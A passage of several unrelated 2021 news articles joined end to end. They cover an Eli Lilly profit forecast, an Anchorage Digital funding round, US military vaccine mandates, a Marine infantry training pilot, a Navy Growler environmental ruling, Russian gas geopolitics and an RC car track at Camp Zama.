think they're gonna watch the VOD later, but they won't. Part of that is the whole function, the whole structure of events. I think also what didn't really work before was watching all those slide decks with tons of text and everything else. We really just came for the coffee and cookies. And so the reality is that they haven't been that great before and now it's just really clear. So I think that it's really, really challenging to have hybrid events work. Personally, I think that they're the transitionary format that we're gonna use until we figure out how to really take advantage of digital events. I think that physical events will continue to exist, but I think that hybrid events are something that event teams and event companies are desperate to hang onto because they're trying to stay relevant. But I don't think that they have legs to last for very, for very long because they just don't pencil out most of the time. And if you actually look at that data, it becomes very challenging. Page 1 FILE PHOTO: An Eli Lilly and Company pharmaceutical manufacturing plant is pictured at 50 ImClone Drive in Branchburg, New Jersey, March 5, 2021. REUTERS/Mike Segar By Mrinalika Roy (Reuters) - Eli Lilly on Wednesday forecast 2022 profit above Wall Street estimates as it bets on new drug approvals to counter the impact of competition and pricing pressures on its other key treatments, sending its shares up nearly 10%. The company has plans to launch five more medicines over the next two years, including diabetes drug tirzepatide and Alzheimer's disease treatment donanemab, helping it meets its target of launching 20 new medicines over a 10-year period through 2023, Lilly said. "We believe the continued uptake of our key growth products ... coupled with our anticipated upcoming launches will allow Lilly to deliver top-tier, volume-driven revenue growth through at least 2030," CFO Anat Ashkenazi said. Lilly also raised its current-year expectations for profit and sales, helped partly by a recent U.S. government contract for the supply of its COVID-19 antibody treatment. Last month, the U.S. government bought 614,000 additional doses of its COVID-19 antibody therapy, a cocktail of bamlanivimab and etesevimab, for $1.29 billion. The company said it now expected COVID-19 therapies to bring in sales of about $2.1 billion in 2021, up from an earlier forecast of $1.3 billion. Profit for 2022 is expected to range between $8.50 and $8.65, above estimates of $8.18. Lilly looks set for an "exciting future" with both donanemab and tirzepatide expected to receive approval next year, Third Bridge senior analyst Mikaela Franceschina said in an e-mailed statement. "Donanemab has been keenly watched since the controversy around Biogen's Aduhelm. Our experts say donanemab could theoretically benefit a larger patient population than Aduhelm and pose a substantial threat to Aduhelm's future." Aduhelm, approved in June for treating the memory-robbing disease, is battling slow uptake as experts have questioned the FDA's rationale for clearing the drug without more definitive proof of benefit. Lilly shares jumped 9.5% to $273.19. (Reporting by Mrinalika Roy in Bengaluru; Editing by Saumyadeb Chakrabarty and Anil D'Silva) SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Anchorage Digital ("Anchorage" or the "Company"), the premier digital asset platform for institutions, today announced it has closed a $350 million Series D funding round led by global investment firm KKR. Participants include Goldman Sachs, Alameda Research, Andreessen Horowitz, Apollo credit funds, funds and accounts managed by BlackRock, Blockchain Capital, Delta Blockchain Fund, Elad Gil, GIC, GoldenTree Asset Management, Innovius Capital, Kraken, Lux Capital, PayPal Ventures, Senator Investment Group, Standard Investments, Thoma Bravo, and Wellington Management. This funding round values Anchorage at over $3 billion. "As more and more institutions look to add crypto services into their offerings, we find ourselves at an inflection point," said Diogo Monica, President and Co-Founder of Anchorage Digital, "This funding positions Anchorage Digital to meet the unprecedented institutional demand for this rapidly evolving market. We're grateful that KKR and this wider group of investors shares our vision to expand regulated institutional access to digital assets." The first crypto-native company to receive a banking charter from the Office of the Comptroller (OCC) in January 2021, Anchorage is making it safe and accessible for institutions to participate in the rapidly evolving digital asset space. Anchorage began as a custodian and has built a robust suite of additional services such as secure trading, financing, staking, and governance. Anchorage Digital plans to use this latest funding to enhance its infrastructure solutions, specifically for global financial firms and fintech innovators. It will also invest to accelerate and simplify clients' engagement with the latest in crypto innovation and increase the size of its team to continue to expand product offerings and grow its client base. KKR is investing in Anchorage through its Next Generation Technology Growth Fund II, a fund dedicated to growth equity investment opportunities in the technology space. This will be the firm's first direct equity investment in a digital asset company. "As a pioneer in enabling institutional investors to access digital assets, Anchorage has built a best in class, institutional grade digital asset platform that combines the best practices of both modern security and usability," said Ben Pederson, Senior Leader on KKR's Technology Growth Equity team. "We are thrilled to lead this Series D round and work with Diogo, Nathan and their talented team as they continue to support the institutional adoption of digital assets through their differentiated, regulated and integrated suite of solutions." "We are certain Anchorage will be a crucial part of the digital asset infrastructure and we are excited to be an investor," said Oli Harris, Head of North America Digital Assets at Goldman Sachs. Anchorage's Series D funding follows a dynamic year of growth. Significant milestones include: Receiving a federal banking charter from the OCC Announcing an $80 million Series C round that was led by GIC and included Andreessen Horowitz, Blockchain Capital, Lux Capital, and Indico Facilitating Visa's purchase of one of the most popular series of NFTs, Cryptopunk #7610 Growing headcount by 175% to date in 2021 Business growth in excess of 800% for each of the past two years. About Anchorage Digital Anchorage Digital is the most advanced digital asset platform for investors. From custody and trading to staking, governance, and financing, Anchorage offers a full range of crypto-native financial solutions that are compliant, built to adapt to emerging blockchain use cases, and made to evolve alongside the needs of digital asset investors. Today, Anchorage serves many of the largest institutional investors and enterprise brands in the digital asset space. Anchorage Digital Bank makes it simple and secure for institutions to gain exposure to digital assets as the first federally chartered digital asset bank. With secure custody at its core, Anchorage is the premier partner for institutions and corporations. Anchorage offers financial solutions for today and tomorrow. To learn more, please visit anchorage.com and on Twitter @Anchorage. About KKRKKR is a leading global investment firm that offers alternative asset management and capital markets and insurance solutions. KKR aims to generate attractive investment returns by following a patient and disciplined investment approach, employing world-class people and supporting growth in its portfolio companies and communities. KKR sponsors investment funds that invest in private equity, credit and real assets and has strategic partners that manage hedge funds. KKR's insurance subsidiaries offer retirement, life and reinsurance products under the management of The Global Atlantic Financial Group. References to KKR's investments may include the activities of its sponsored funds and insurance subsidiaries. For additional information about KKR & Co. Inc. (NYSE: KKR), please visit KKR's website at www.kkr.com and on Twitter @KKR_Co. Media Contacts: Anchorage: Lexi Wangleranchorage@dittopr.co KKR: Julia Kosygina or Miles Radcliffe-Trenner(212) 750-8300media@kkr.com Disclaimer This press release is intended for informational purposes only. It is not to be construed as and does not constitute an offer to sell or a solicitation of an offer to purchase any securities in Anchor Labs, Inc., or any of its subsidiaries, and should not be relied upon to make any investment decisions. Furthermore, nothing within this announcement is intended to provide tax, legal, or investment advice and its contents should not be construed as a recommendation to buy, sell, or hold any security or digital asset or to engage in any transaction therein. View original content:https://www.prnewswire.com/news-releases/anchorage-digital-raises-350-million-in-series-d-funding-round-led-by-kkr-301444706.html SOURCE Anchorage Digital Master Sgt. Michael Buchholz, 155th Maintenance Group Quality Assurance, holds a sign that read Im getting vaccinated for you! Five governors sent a letter Tuesday to Defense Secretary Lloyd Austin to request he withdraw a directive that National Guard troops must be vaccinated against the coronavirus. (R Denise Mommens/Nebraska Air National Guard) Five governors sent a letter Tuesday to Defense Secretary Lloyd Austin to request he withdraw a directive that National Guard troops must be vaccinated against the coronavirus, citing he does not have the authority to mandate vaccines for troops when they are not deployed on federal missions. Govs. Mark Gordon of Wyoming, Mike Dunleavy of Alaska, Kim Reynolds of Iowa, Tate Reeves of Mississippi, and Pete Ricketts of Nebraska signed the letter requesting Austin reconsider his mandate. The federal government continues to overreach further into the lives of Americans and especially those serving our country and protecting our very freedoms, Reynolds said in a statement. These are the very men and women who have selflessly devoted their lives to protecting us and responding to major disasters and times of crisis at the drop of a hat to provide peace and comfort, and now the federal government is giving them an ultimatum to get the vaccine or be separated from serving their country. The governors wrote they recognize Austins right to establish readiness standards for federal activation, but they took issue with three areas that they believe are within the purview of the state: a directive on training in a state status known as Title 32, punishment requirements for refusing to be vaccinated, and requiring separation from the National Guard for the unvaccinated. These three issues are beyond your constitutional statutory authority, wrote the governors, who are all Republicans. They join Oklahoma Gov. Kevin Stitt, who has previously raised questions about whether the mandate was lawful and went as far as to say he will not enforce it. We have received the letter from the five governors and will respond in due course, Pentagon Press Secretary John Kirby said Wednesday in a statement. The deadline for airmen assigned to the Air National Guard to get vaccinated was Dec. 2, while soldiers in the Army National Guard have until June 30. Austin has said those who refuse the vaccine without an approved exemption will not be able to participate in federally funded drills and training that are required to maintain their Guard status. Buy Photo Marine infantry students at Camp Lejeune, N.C., practice setting up an ambush, as their instructor looks on, in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) CAMP LEJEUNE, N.C. Marine Corps leaders have their eyes on the kind of combat that a war against an adversary such as China or Russia could bring, and they are training their troops to be prepared for that fight by building better-thinking, more well-rounded infantrymen capable of operating in small units with little oversight. The Corps wants to create infantrymen who will arrive at their first duty station with the critical and creative thinking skills of Marines several years into their career, instead of the robot-like, trigger-pullers that some have accused the service of producing in its longstanding entry-level infantry course, Marine officials said last week. At Camp Lejeune, N.C., the Corps School of Infantry-East is attempting to make those changes, experimenting with a new initial infantry training program that lasts longer, includes more face-to-face time with instructors, and challenges green infantrymen on more difficult skills, said Col. David Emmel, the schools commander. The Marine Corps is going through very large changes and we are one element of that within the larger services efforts, Emmel told reporters Aug. 27 at Camp Lejeune, as the first group of 194 Marines neared completion of the School of Infantry-Easts first attempt of the new training program, known as the Infantry Marine Course. Thats making a more lethal, smarter, more elite Marine infantryman Marines with a strong moral foundation, who are grounded in the Marine Corps ethos, who possess the skill and the will to succeed in the future operational environment. And, as part of that, the critical thinking which allows him [or her] to be adaptive in that environment. Those changes have been driven by the vision of Marine commandant Gen. David Berger who, since becoming the top Marine in 2019, has instituted an overhaul of the service aimed largely at checking Chinese power in the Indo-Pacific region, where he believes his troops will need to work more closely with the Navy and in smaller units to compete with Chinas forces. As commandant, Berger has axed the Marines tank units, urged Congress to shrink its force size and instructed units to prepare its youngest Marines to make tough battlefield decisions without a higher commands input. Buy Photo Marine infantry students at Camp Lejeune, N.C., practice setting up an ambush, as their instructors look on, in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) At Camp Lejeune, Marine instructors are preparing some of the Corps newest infantrymen for just that operating environment in the Infantry Marine Course pilot program, which expands initial infantry training from nine weeks to 14 weeks. It marks the second use of the new program, which began with a course at the Marines School of Infantry-West at Camp Pendleton, Calif. The new course puts new Marines in the field for about nine weeks, practicing critical infantry skills, fighting each other in force-on-force battles, and training them on advanced weapons that those who have completed traditional Marine initial infantry training have not been exposed. But the most critical change to the course is how instructors work with their students, Emmel and other officials said. The new model pairs a single combat instructor an experienced infantry noncommissioned officer trained to teach new Marines with a squad of 14 Marines, who the instructor is charged with overseeing, teaching and mentoring throughout the entire course. For decades, instructors taught Marines in infantry school in large groups, 80 to 200-plus Marines at a time, officials said. Sgt. Jonathon Ritter, a combat instructor in charge of one of the Infantry Marine Course squads, said he has gotten to know his trainees much better during the pilot course than when he has taught in previous iterations of initial infantry training. The one-on-one time allows him to better understand how his students learn, what they respond to and how they react to challenges. His young Marines have advanced quicker than those he has taught in the traditional class, he said. Their development is actually exceeding a lot of our expectations, Ritter said. I took them from Day 1 where they couldnt do any infantry skills, and then now to see them on the live-fire ranges, being able to execute, use their weapons for the right target without any [instructor] supervision thats extremely rewarding. A lot of the stuff theyre learning now is stuff that Marines [who are] traditionally one or two years into the fleet learn, and here we have them learning this stuff at entry level training. Thats huge. Buy Photo A Marine infantry student at Camp Lejeune, N.C., practices setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo Marine infantry students listen to their combat instructors feedback after conducting an ambush during training at Camp Lejeune, N.C., on Aug. 27, 2021. The students were practicing an ambush during an initial infantry training pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo Marine infantry students at Camp Lejeune, N.C., practice setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) An ambush The blast from the Claymore mine shot a cloud of smoke billowing dozens of feet into the air. From positions concealed by trees just beyond the mines reach, 14 young Marines opened fire with M27 rifles and M240B machine guns. In minutes, the smoke cleared and the firing ceased. The enemy robotic targets outfitted in camouflage had been defeated. For the squad of freshly minted Marines about 12 weeks into the new Infantry Marine Course, the brief live-fire operation was the culmination of a week focused on sharpening the planning and tactical skills that go into executing an age-old combat tactic an ambush. For those leading the Marines, it was verification of the new efforts. The squads each planned their ambushes on their own without their instructors input after spending the week learning the tactics that go into planning an ambush and practicing without live ammunition, said Marine Capt. David Allen, the commander of the School of Infantrys Echo Company, which is conducting the pilot course. Combat instructors then tagged along as the squads conducted their ambushes, offering the occasional pointer, but allowing the Marines to make and hopefully learn from their own mistakes, Allen said. One squad after another on Aug. 27 ran through the exercise on the sandy, wooded training grounds. Some groups executed near-perfect ambushes, Allen said. Others struggled. In at least one iteration, a Marines M240B machine gun jammed, likely because it had not been cleaned well enough before the attack, his instructor said. In another, Marines set their mine off too early, failing to injure any enemy targets. In another ambush, some of the Marines set themselves up in positions where they were ultimately unable to see the enemy targets as they entered the kill box, another instructor said. Despite the shortcomings, none of the Marines were chewed out. Combat instructors rarely yelled, except over the roar of gunfire. Young Marines held their heads high, as their instructors went over what they had done right and wrong just minutes after completing the mission. The Marines asked questions, and they prepared to run ambushes again. They're more willing to approach you, ask a question, more willing to engage in the training and just learn, said Sgt. Govan Walcott, a combat instructor leading one of the 14-man squads in the pilot. Were not yelling. Were here to instruct, to teach and then let them learn it their way and then go out and execute what it is that were trying to teach. Buy Photo A claymore mine blast sends smoke in the air as Marine infantry students open fire from a tree line on Camp Lejeune, N.C., training grounds on Aug. 27, 2021. The students were practicing an ambush during an initial infantry training pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo A Marine infantry student places a claymore mine during training at Camp Lejeune, N.C., on Aug. 27, 2021. The students were practicing an ambush during an initial infantry training pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo Marine infantry students look out at enemy target robots during training at Camp Lejeune, N.C., on Aug. 27, 2021. The students were practicing an ambush during an initial infantry training pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo A Marine infantry student at Camp Lejeune, N.C., practices setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Not just idiots Traditionally, a new Marine infantrymen a boot, in Marine slang will arrive at his or her first station with an elementary understanding of infantry tactics and spend the next two or more years learning how to actually operate from unit leaders, Walcott said. The pilot program is designed to provide boot Marines to the Corps infantry battalions nearly ready to fight on the first day. Were speeding up the timeline, said Emmel, the School of Infantry-East commander. For the instructors, it takes a shift in mindset. Walcott, who enlisted in 2015, said his instructors at the School of Infantry-East would tell him exactly what to do and when to do it. In the pilot program, instructors explain to students an outcome they want out of a scenario and let the new Marines find their own paths to that result. Were looking at it like, hey, these are not just idiots, you know. These are individuals who can actually think and operate on their own and operate as a unit, Walcott said. So its I'm going to give you this knowledge. Let me see how you apply it. And, the way you apply it actually might be somewhat of a different train of thought than I would have had. It might even work better. Walcott and other instructors said the pilot course was proving beneficial to the new Marines. He said he believed the Corps should adopt the training, which Corps brass will consider later this year after running at least two more pilot courses, one each at Camp Pendleton and Camp Lejeune. Unlike infantry Marines who graduate traditional initial infantry training, those who complete the pilot program will have learned to shoot Javelin anti-tank missiles, fire machine guns, and use other weapons that new riflemen usually would not be trained to do. The decision to incorporate more advanced weapons than just the M27 Infantry Automatic Rifle comes as the Corps considers merging all infantry jobs into a single military occupational specialty. That decision is yet to be made, a Marine spokesman said Tuesday. Buy Photo A Marine infantry student at Camp Lejeune, N.C., practices setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo Marine infantry students at Camp Lejeune, N.C., practice setting up an ambush, as their instructor looks on, in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo A Marine infantry student at Camp Lejeune, N.C., prepares to practice setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Buy Photo A Marine infantry student at Camp Lejeune, N.C., practices setting up an ambush in a live-fire training event Aug. 27, 2021, during their 12th week of initial infantry training as part of a pilot program meant to drastically change the way the Corps trains its infantrymen. The pilot program expands infantry training from nine to 14 weeks and places Marines in 14-person squads under a single instructor. (Corey Dickstein/Stars and Stripes) Training Marines to use multiple weapons systems is a major advantage on the battlefield, Walcott said, adding he had never been exposed to some of the weapons, including the Javelin before becoming an instructor. These guys are definitely more trained up, so it wouldn't take as long to spin them up at their first unit, he said. And, then these guys are going to bring skills to the fleet that are not there right now. The pilot model is also more demanding on the instructors, Walcott and Ritter admitted. Their days often last from sun up to sun down and occasionally well into the night, they said. Nonetheless, they said those challenges were worthwhile. An influx of new instructors would also be needed to adopt the Infantry Marine Course pilot program as the Corps initial infantry training program, officials said. Emmel said the East Coast and West Coast infantry schools were working with Marine headquarters to determine how large a cadre was possible, but he declined to provide a specific number of additional instructors he would require. Those figures could change as the pilot course is adjusted based on feedback from the first two iterations, he added. Even the number of weeks could be changed. Nonetheless, Emmel and other School of Infantry officials endorsed the pilot program as sending the Corps in the right direction for the future. We're giving the fleet more lethal Marines, Emmel said. An EA-18G Growler taxis toward the runway at Ault Field as a P3C Orion performs a low approach on March 29, 2019. (Paul Seeber/U.S. Navy) WHIDBEY ISLAND, Wash. (Tribune News Service) A U.S. federal magistrate has found that the Navy in an environmental impact statement "turned a blind" eye to data that did not support the goal of increasing Growler jet operations from an air station at Whidbey Island. Chief Magistrate Judge J. Richard Creatura, in a sometimes scathing 38-page report filed in U.S. District Court this month, found the Navy failed to disclose the basis for greenhouse gas calculations from the jets, and failed to quantify the impacts of the noisy, often low-flying EA-18G Growlers on classroom learning. Creatura also noted shortcoming in the Navy's assessments of specific impacts on birds and also concluded there should have been more detailed analysis of siting additional Growler aircraft at an alternate site in El Centro, Calif. The report was requested by U.S. District Court Judge Richard Jones, who will review it before making a ruling on two lawsuits one filed by Washington state Attorney General Bob Ferguson and another by Citizens of Ebey's Reserve that allege Navy shortcomings in the study violated the federal National Environmental Policy Act. "The bottom line is when the Navy makes up its mind before considering the facts, it leads to bad decision-making," said Bill Sherman, an assistant state attorney general and chief of the environmental protection division. A spokesperson for Naval Air Station Whidbey Island declined to comment on the report and referred questions to the Justice Department. All the litigants will have a chance to respond to Creatura's report, which recommended the district court find the study did violate federal law. Jones will issue a ruling, which can accept, modify or reject Creatura's recommendation, according to Sherman. If Jones finds the Navy's environmental impact statement is deficient, then the Navy likely would have to do additional impact reviews in the areas that he cites in his ruling. Citizens of Ebey's Reserve also would want to discuss how much training the Navy could conduct while a new environmental impact statement is developed, according to a statement released by the group. The federal lawsuits by the state attorney general and Citizens of Ebey's Reserve made numerous challenges to the findings of the federally required environmental impact statement finalized in 2018. The Navy used the document to support the addition of 36 Growlers to Naval Air Station Whidbey Island. Along with more aircraft, the expansion includes greatly increased numbers of low-flying training exercises that attempt to simulate landings on an aircraft carrier. In a state that has long hosted military bases, and welcomed billions of dollars of Defense Department spending, the lawsuit filed by Ferguson marked a rare court challenge by state leaders of a Pentagon decision. The state's lawsuit was cheered by Whidbey Island opponents of the Growler expansion, many of whom have been upset by the noise and concerned about health and wildlife impacts. The state's move angered Navy supporters on an island where the air station is a big employer and economic force. Creatura, in his report, rejected some of the plaintiffs' allegations of flaws in the Navy environmental review. But Creatura agreed with four significant claims of shortfall in the review, and disparaged some of the Navy's work. Borrowing a phrase from sport analyst Vin Scully, he said, "the Navy appears to have used certain statistics 'much like a drunk used a lamppost: for support, not illumination.'" (c)2021 The Seattle Times Visit The Seattle Times at www.seattletimes.com Distributed by Tribune Content Agency, LLC. Cmdr. Ronald Cappellini, the Naval Air Station Sigonella executive officer, receives his coronavirus vaccine booster Dec. 7, 2021, from Lt. j.g. Aracely Duerkop during a mass-immunization exercise at the base. (Josh Cote/U.S. Navy ) WASHINGTON Navy commanders have been ordered to begin the separation process for sailors who have refused to take the coronavirus vaccine, according to service guidance issued Wednesday. Rear Adm. James Waters, the Navys director of military personnel plans and policy, said the service wants to keep every sailor in uniform, but now more than two weeks since the services immunization deadline passed and its time to require vaccine refusers to leave the Navy. There are sailors who, in spite of our best efforts, continue to steadfastly refuse, Waters told reporters Tuesday during a teleconference. Personally, it disheartens me to see any sailors leave because they refuse the vaccine. However, sailors who missed the Nov. 28 deadline to receive the vaccine but change their mind can notify their chain-of-command and halt their separation if they get immunized, Waters said. So far, 919 sailors have gotten the shots since Nov. 15 the last day for active-duty sailors to receive the vaccine to meet the deadline. After the deadline, we [have been] working with each and every one of those sailors in an effort to retain them and we'll do the same for anyone else who steps forward to get their shot, Waters said. The Navys announcement comes days after the Air Force on Monday announced it had discharged 27 service members for refusing the vaccine. The services Nov. 2 deadline was the earliest of all the services branches. The Army has the last active-duty deadline, which is Wednesday. No service has required a coronavirus booster shot for its force to date, but Waters said it is "under active discussion" at the Pentagon. As of Dec. 9, less than 2% of active-duty sailors had not received the vaccine, according to the Navys most recent update. About 5,731 sailors remain unvaccinated, about half of whom were awaiting decisions on religious accommodation requests. So far, the Navy has approved seven permanent medical exemptions, 326 temporary medical exemptions and no religious exemptions. The service has not approved a religious exemption for any vaccine since at least 2014, Navy officials said last month. For sailors who continue to refuse the shot, the new guidance spells out how they will be separated from the service. Most separations will happen in the first six months of 2022, though some could continue past June 1, Waters said. First, those who are eligible to retire or voluntarily leave the service before June 1 can do so through normal but expedited processes, resulting in an honorable discharge, Waters said. This allows for a fully vaccinated force as soon as possible, while encouraging personnel refusing the vaccine and eligible to separate or retire in the near term to do so, he said. However, unvaccinated sailors not eligible to leave the service voluntarily by June 1 and who do not have an approved exemption will be forced to leave the Navy on the basis of misconduct for refusing a lawful order, Waters said. They will still receive an honorable characterization of their military service, meaning they can keep their Department of Veterans Affairs benefits such as educational and health care assistance. Any unfulfilled obligations due to things like education and bonuses will have to be repaid [by the sailor], Waters said. Those with more than six years of service are entitled to a separation board of inquiry, with the least favorable service characterization being general discharge under honorable conditions, Waters said. Sailors with general discharges are still eligible for most VA benefits, except G.I. Bill educational benefits. However, those sailors can waive the board inquiry in exchange for an honorable discharge, Waters said. He said this option is offered because of the extensive, time-consuming nature of the administrative review required for a board inquiry. [It] helps the Navy achieve our goal of a fully vaccinated force as quickly as possible, and it helps the service member achieve the best possible characterization of separation as we part ways based on their decision to refuse the vaccine, Waters said. The Navy continues to process vaccine exemption requests for medical, administrative or religious reasons. Those making requests can stay in the Navy until receiving approval or denial, at which point they will have five days to get their first shot or begin the separation process. Unvaccinated sailors with valid exemptions or awaiting exemption decisions must submit to regular coronavirus testing, wearing masks and social distancing to reduce the risk of transmission, Waters said. Unvaccinated sailors will also face other limitations, which can sometimes affect deployment and leave opportunities. As an expeditionary force deployed around the world, we interact with allies and partners who have different perspectives on the absolute need for the vaccine, and there are some that just won't let you enter the country, Waters said. We will have to honor that in those cases, and so that's just an example [of a limitation]. Caitlin Doornbos Caitlin Doornbos covers the Pentagon for Stars and Stripes after covering the Navys 7th Fleet as Stripes Indo-Pacific correspondent at Yokosuka Naval Base, Japan. Previously, she worked as a crime reporter in Lawrence, Kan., and Orlando, Fla., where she was part of the Orlando Sentinel team that placed as finalist for the 2017 Pulitzer Prize for breaking news. Caitlin has a Bachelor of Science in journalism from the University of Kansas and masters degree in defense and strategic studies from the University of Texas at El Paso. According to Vladimir Putin, true sovereignty of Ukraine is possible only in partnership with Russia. Besides the delicious contradiction there, it shows how far the Russian presidents designs on Ukraine stretch beyond the gas pipelines that fueled previous crises. (You can read the whole, rather turgid essay here.) Yet if Russia does invade Ukraine (again), the effect on energy markets this winter is something Western countries will need to contend with. The most obvious point of impact, one that obsesses Washington, is the roughly 40% of Europes gas imports that come from Russia. In the past, spats between Moscow and Kyiv would occasionally result in cutoffs because the pipelines run through Ukraine. But now the Nord Stream 2 project linking Russia directly with Germany has been built to avoid that. The U.S. regards this as part of the Kremlins multidecade project to use gas as a weapon to divide European allies. For Germany, its a way to diversify supply routes to alleviate the risks that come with buying a lot of gas from Russia. Putin is happy to exploit this tension between Washington and Berlin. There is little prospect of Nord Stream 2 being blocked, as much as the U.S. would like to see that happen. The thing is all but built and awaits regulatory approval. Europes gas market is already jittery, with storage tanks only 62% full - lower than the 80% average level for this time of year. When the Germans delayed their approval of Nord Stream 2 in November, already eye-watering European gas prices shot higher. Any threat by Germany to cut off extra gas supply to itself in this situation would be hollow. As Kevin Book of ClearView Energy Partners puts it: Sawing towards the trunk while standing on a branch only happens in cartoons. In voicing support for Ukraine this weekend, Germanys new chancellor, Olaf Scholz, was careful to not put Nord Stream 2 directly on the block. His ambiguity echoes the joint declaration his predecessor made with the U.S. in July. That committed Germany to: take action at the national level and press for effective measures at the European level, including sanctions, to limit Russian export capabilities to Europe in the energy sector, including gas, and/or in other economically relevant sectors. This is the diplomatic equivalent of well see how it goes, shall we? Its worth noting that although the U.S. might publicly press Germany to take a stand if Russia attacks, the defense budget bill passed in the House earlier this month contains no language targeting Nord Stream 2 with sanctions. If anything, it is in Scholzs interest to see the pipeline approved sooner rather than later. The longer it takes, the greater the risk that approval will be overtaken by some new Russian aggression in Ukraine. That would highlight Germanys weakness and probably stoke divisions within both the coalition government and the European Union. And getting Nord Stream 2 off the table now might sideline an issue that has tended to dominate and divide trans-Atlantic energy discussions. Rather than the Germans cutting off a gas pipeline that hasnt even started up, might Russia stop the gas supply if faced with other countermeasures? Thats possible given Ukraines apparent existential importance to Putin. But condemning Europe to a mixture of hypothermia and recession this winter would unite his opponents, undoing the divisions he has managed to exploit thus far. The symbiosis at the heart of the Russian-European gas relationship - the former needing money and expertise and the latter, heat and power - has kept it going for more than half a century, including during the Cold War. But Putin is now aggressively testing the bond. Even if the latest Ukraine tensions pass without incident, this years curiously timed depletion of Gazprom PJSCs European storage tanks and Putins own bitter rhetoric against European energy-market liberalization have probably done lasting damage. In the short term, the energy weapon can be effective in forcing ones wishes on importing nations because consumption is relatively inelastic. But the history of some of Putins OPEC+ buddies and his own earlier faceoffs with Ukraine show that the long-term blowback - customers diversifying their energy supply, for example - can inflict lasting damage. This is especially relevant when Europe is pushing an ambitious green agenda backed by effective carbon tariffs, which pose a particular risk to Russias emissions-intensive exports. Still, were talking about Putin and Ukraine. Far from giving him pause, the notion that his biggest energy customer is intent on going green might spur him to go for broke. If European dependence on Russian gas is destined to diminish, then waiting only weakens Putins leverage. Whatever else the energy transition means, it wont end energy geopolitics. This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Liam Denning is a Bloomberg Opinion columnist covering energy, mining and commodities. He previously was editor of the Wall Street Journals Heard on the Street column and wrote for the Financial Times Lex column. He was also an investment banker. Buy Photo A radio-controlled buggy parks outside a new dirt racetrack at Sagamihara Housing Area near Camp Zama, Japan, Dec. 9, 2021. (Juan King/Stars and Stripes) CAMP ZAMA, Japan Virtuosos of radio-controlled cars, especially the small-scale and all-terrain vehicles that attract enthusiasts to paved and dirt tracks alike, have a new home in the U.S. military community in Japan. What started as a backyard pirate operation a year ago in the Sagamihara Housing Area at Camp Zama, the headquarters for U.S. Army Japan, has evolved into a certified recreational activity. I thought it was going to take a lot longer, but I mean how fast it went, seamless, and how onboard all the departments were, its just a fantastic support for the community, Chief Warrant Officer 4 Garrett Burns told Stars and Stripes on Dec. 9. Burns, along with Rick Bosch, Zamas director of Family and Morale, Welfare and Recreation, helped bring the project to fruition. As MWR, we really want to hear what the community is passionate about and were going to do everything we can to support that and grow that, Bosch said. Bosch described the track, which opened in October, as a grassroots-style program that grew last year out of its impromptu roots a piece of lawn just outside somebodys backyard. The outlaw track was creating a problem, he said. People started noticing and joined in the R/C fun, but reception was not all positive and it looked to be short-lived. A lot of the neighbors started complaining about the noise one of the first reactions is this is unauthorized, went through no approval process and we got to shut it down, Bosch said. But with time and patience, and a push from R/C enthusiasts, the idea gained momentum. We went through all of the right approval processes. We got the environmental reviews done, we brought it to the committee and got the land assigned to the MWR, Bosch said. Buy Photo Chief Warrant Officer 4 Garrett Burns races his radio-controlled buggy on a new track at the Sagamihara Housing Area near Camp Zama, Japan, Dec. 9, 2021. (Juan King/Stars and Stripes) Buy Photo Chief Warrant Officer 4 Garrett Burns prepares his radio-controlled buggy to race on a new track at the Sagamihara Housing Area near Camp Zama, Japan, Dec. 9, 2021. (Juan King/Stars and Stripes) The recreation department turned to Burns for assistance designing and testing the track. Burns, who has been stationed at Zama for a little over two years, builds and paints R/C kits. He said he was astounded at how fast the track was completed. It was designed for quick turns, high speeds and big jumps. Its primarily used with off-road truggy, buggy and short-course vehicles. Burns said there are no plans to create a track for crawlers, slower, high-torque vehicles that climb over rough trails and rocky terrain, although some people have expressed interest in 